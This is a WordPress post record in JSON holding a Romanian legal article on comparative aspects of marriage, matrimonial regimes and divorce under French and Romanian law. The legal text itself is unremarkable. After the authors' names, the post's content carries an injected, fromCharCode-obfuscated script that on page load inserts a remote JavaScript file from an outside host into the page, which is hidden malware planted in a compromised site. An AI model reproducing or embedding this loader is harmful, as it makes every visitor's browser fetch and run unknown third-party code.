{"id":632,"date":"2011-10-14T12:30:13","date_gmt":"2011-10-14T10:30:13","guid":{"rendered":"http:\/\/aafdutm.ro\/revista\/?p=632"},"modified":"2012-03-11T18:26:00","modified_gmt":"2012-03-11T16:26:00","slug":"aspecte-de-drept-comparat-in-privinta-casatoriei-si-divortului","status":"publish","type":"post","link":"https:\/\/www.aafdutm.ro\/revista\/nr-1-mai-2011\/revista-nr-1-mai-2011\/nr-1-mai-2011-revista-nr-1-mai-2011\/aspecte-de-drept-comparat-in-privinta-casatoriei-si-divortului\/","title":{"rendered":"ASPECTE DE DREPT COMPARAT \u00ceN PRIVIN\u0162A C\u0102S\u0102TORIEI \u015eI DIVOR\u0162ULUI"},"content":{"rendered":"<p>Capitolul I- Aspecte ale regimului matrimonial \u00een legisla\u0163ia francez\u0103<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0 Regulile care guverneaz\u0103 efectele c\u0103s\u0103toriei pun \u00een discu\u0163ie particularit\u0103\u0163ile cu care se confrunt\u0103 practicienii prin existen\u0163a ordonan\u0163elor \u015fi a legilor interne ale fiec\u0103rei \u0163\u0103ri. Din ce \u00een ce mai des, c\u0103s\u0103toriile sunt \u00eencheiate \u00eentre persoane cu na\u0163ionalit\u0103\u0163i diferite, situa\u0163ia juridic\u0103 primind astfel un element de extraneitate \u015fi supun\u00e2nd regimul matrimonial conflictului de legi.<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0 \u00cen legisla\u0163ia francez\u0103, avantajul regimului matrimonial const\u0103 \u00een existen\u0163a unor clauze prin care, oricare dintre so\u0163i poate s\u0103 dispun\u0103, ca urmare a unui \u201econtract matrimonial\u201d, \u00een leg\u0103tur\u0103 cu regulile statului. \u00cen cazul divor\u0163ului pronun\u0163at sub imperiul legii franceze din 26 mai 2004 se aplic\u0103 principiul voin\u0163ei,\u00a0 iar cauzele divor\u0163ului nu trebuie s\u0103 influen\u0163eze regulile partajului.<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0 Regula conflictului francez (legea aplicabil\u0103) este Conven\u0163ia de la Haga (semnat\u0103 \u00een anul 1978 \u015fi intrat\u0103 \u00een vigoare \u00een 1992 \u00een Fran\u0163a, Olanda \u015fi Luxemburg, iar ulterior semnat\u0103 \u015fi pentru Austria \u015fi Portugalia). Conven\u0163ia este aplicabil\u0103 numai persoanelor c\u0103s\u0103torite dup\u0103 data intr\u0103rii \u00een vigoare din fiecare \u0163ar\u0103 \u015fi exclude obliga\u0163iile privind \u00eentre\u0163inerea \u00eentre so\u0163i \u015fi drepturile succesorale ale so\u0163ului supravie\u0163uitor. \u00cen privin\u0163a teritorialit\u0103\u0163ii, Conven\u0163ia se aplic\u0103 nu numai so\u0163ilor francezi care sunt stabili\u0163i \u00een str\u0103in\u0103tate, dar \u015fi celor de na\u0163ionalitate francez\u0103 care locuiesc \u00een Fran\u0163a dar care au re\u015fedin\u0163a\u00a0 efectiv\u0103 \u00een alt stat, sau care au dob\u00e2ndit la un moment dat bunuri \u00een str\u0103in\u0103tate. Aceast\u0103 reglementare este important\u0103 \u00een materie de \u201elichidare\u201d a regimului matrimonial, pentru stabilirea \u00een prealabil a situa\u0163iei na\u0163ionalit\u0103\u0163ii \u015fi a se stabili dac\u0103 se aplic\u0103 regulile dreptului interna\u0163ional privat.<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Conven\u0163ia distinge \u00eentre so\u0163ii care \u015fi-au stabilit \u00eenainte de c\u0103s\u0103torie legea aplicabil\u0103 regimului lor matrimonial sau, din contr\u0103, nu au stabilit nici un contract, caz \u00een care sunt aplicabile dispozi\u0163iile art.4 \u015fi 5 din Conven\u0163ie. Art.3 prevede faptul c\u0103 regimul matrimonial este supus legii interne desemnate de so\u0163i \u00eenainte de mariaj- principiul autonomiei de voin\u0163\u0103, care permite alegerea regimului \u00een func\u0163ie de interesele pecuniare. Conven\u0163ia restr\u00e2nge totu\u015fi libertatea alegerii, prin aplicarea unor reguli: legea na\u0163ionalit\u0103\u0163ii unuia dintre so\u0163i existente \u00een momentul desemn\u0103rii, legea statului pe teritoriul c\u0103ruia unul dintre so\u0163i are re\u015fedin\u0163a de domiciliu, legea primului stat pe teritoriul c\u0103ruia unul dintre so\u0163i \u015fi-a stabilit noul domiciliu dup\u0103 c\u0103s\u0103torie. Este interzis\u0103 alegerea a mai mult de o lege aplicabil\u0103, iar aceasta r\u0103m\u00e2ne valabil\u0103 \u015fi pentru bunurile so\u0163ilor.<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Dac\u0103 exist\u0103 un avantaj matrimonial care nu are efect dec\u00e2t \u00een revocarea regimului sau a decesului unuia dintre so\u0163i, un asemenea avantaj este revocat de drept prin procedura divor\u0163ului. Astfel, dac\u0103 o persoan\u0103 care de\u0163ine avere se c\u0103s\u0103tore\u015fte cu cineva sub regimul comunit\u0103\u0163ii universale cu o persoan\u0103 de o stare material\u0103 modest\u0103, iar ulterior cei doi divor\u0163eaz\u0103, persoana f\u0103r\u0103 situa\u0163ie financiar\u0103 va avea jum\u0103tate din bunurile celuilalt. \u00cen compensare, atribuirea comunit\u0103\u0163ii nu se va aplica dac\u0103, printr-o declara\u0163ie de voin\u0163\u0103, (consim\u0163\u0103m\u00e2nt), avizat\u0103 de judec\u0103tor \u00een momentul divor\u0163ului, este posibil pentru so\u0163i s\u0103 \u00eenl\u0103ture regulile revoc\u0103rii de drept, care nu au efect dec\u00e2t sub regimul matrimonial legal sau la decesul unuia dintre so\u0163i.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Capitolul II- Aspecte comparative \u00een diferite \u0163\u0103ri<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Fa\u0163\u0103 de cele precizate, divor\u0163ul poate fi declarat \u00een legisla\u0163ia francez\u0103 at\u00e2t de o instan\u0163\u0103 precum \u015fi pe cale notarial\u0103 sau administrativ\u0103. Prebederi asem\u0103n\u0103toare se reg\u0103sesc \u015fi \u00een noul Cod civil rom\u00e2n.<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00cen multe state (\u015fi \u00een Rom\u00e2nia prin introducerea noului cod civil), avantajul const\u0103 \u00een existen\u0163a clauzelor de care dispune oricare dintre so\u0163i, ca rezult\u00e2nd din \u201econtractul de c\u0103s\u0103torie\u201d, \u00een raport cu regimul legal. \u00cen cazul divor\u0163ului, consecin\u0163ele difer\u0103 \u00een func\u0163ie de regimul juridic stabilit. So\u0163ii care divor\u0163eaz\u0103 \u015fi se partajeaz\u0103 \u00een baza regimului legal pot s\u0103 revoce avantajele pe care le consim\u0163iser\u0103 fiecare \u00een favoarea celuilalt.<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0 \u00cen situa\u0163ia \u00een care so\u0163ii nu aveau acela\u015fi domiciliu \u00een momentul mariajului, devine aplicabil\u0103 legea domiciliului comun al statului \u00een care \u015fi l-au fixat dup\u0103 c\u0103s\u0103torie. Spre exemplu, doi so\u0163i de na\u0163ionalitate marocan\u0103, se c\u0103s\u0103toresc \u00een Maroc. So\u0163ul locuie\u015fte \u00een Fran\u0163a, unde \u015fi-a stabilit activitatea profesional\u0103, iar so\u0163ia continu\u0103 s\u0103 locuiasc\u0103 \u00een Maroc. \u00cen lipsa domiciliului comun,\u00a0 celor doi li se aplic\u0103 legea marocan\u0103- legea na\u0163ionalit\u0103\u0163ii comune, \u015fi, implicit, regimului legal marocan de separa\u0163ie a bunurilor. \u00cen anul 2005, so\u0163ia merge s\u0103 locuiasc\u0103 cu so\u0163ul s\u0103u \u00een Fran\u0163a. Din momentul \u00een care cei doi so\u0163i dob\u00e2ndesc reziden\u0163a francez\u0103, se supun regimului francez al comunit\u0103\u0163ii speciale de bunuri (\u201edes acqu\u00eats\u201d- regimul legal sau conven\u0163ional al bunurilor mobile \u015fi imobile, care, cu excep\u0163ia celor dob\u00e2ndite prin dona\u0163ie, legat sau succesiune, ce r\u0103m\u00e2n bunuri proprii, intr\u0103 \u00een proprietatea so\u0163ilor pe durata c\u0103s\u0103toriei). Acest principiu este existent \u015fi \u00een unele state americane (engl. partnership of acquests). Din aceste considerente, se poate recomanda practicienilor, \u00een mod special notarilor, s\u0103 consilieze clien\u0163ii \u00een a-\u015fi stabili expres legea aplicabil\u0103 printr-o conven\u0163ie.<\/p>\n<p><em>Andreea Lorena Poenaru, Elena-Camelia Poenaru, <\/em><\/p>\n<p><em>Uniunea Na\u021bional\u0103 a Notarilor Publici din Rom\u00e2nia<\/em><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Capitolul I- Aspecte ale regimului matrimonial \u00een legisla\u0163ia francez\u0103 \u00a0\u00a0 Regulile care guverneaz\u0103 efectele c\u0103s\u0103toriei pun \u00een discu\u0163ie particularit\u0103\u0163ile cu care se confrunt\u0103 practicienii prin existen\u0163a ordonan\u0163elor \u015fi a legilor interne ale fiec\u0103rei \u0163\u0103ri. Din ce \u00een ce mai des, c\u0103s\u0103toriile sunt \u00eencheiate \u00eentre persoane cu na\u0163ionalit\u0103\u0163i diferite, situa\u0163ia juridic\u0103 primind astfel un element de [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[141,142,180],"tags":[183,184,185],"_links":{"self":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/632"}],"collection":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/comments?post=632"}],"version-history":[{"count":4,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/632\/revisions"}],"predecessor-version":[{"id":694,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/632\/revisions\/694"}],"wp:attachment":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/media?parent=632"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/categories?post=632"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/tags?post=632"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}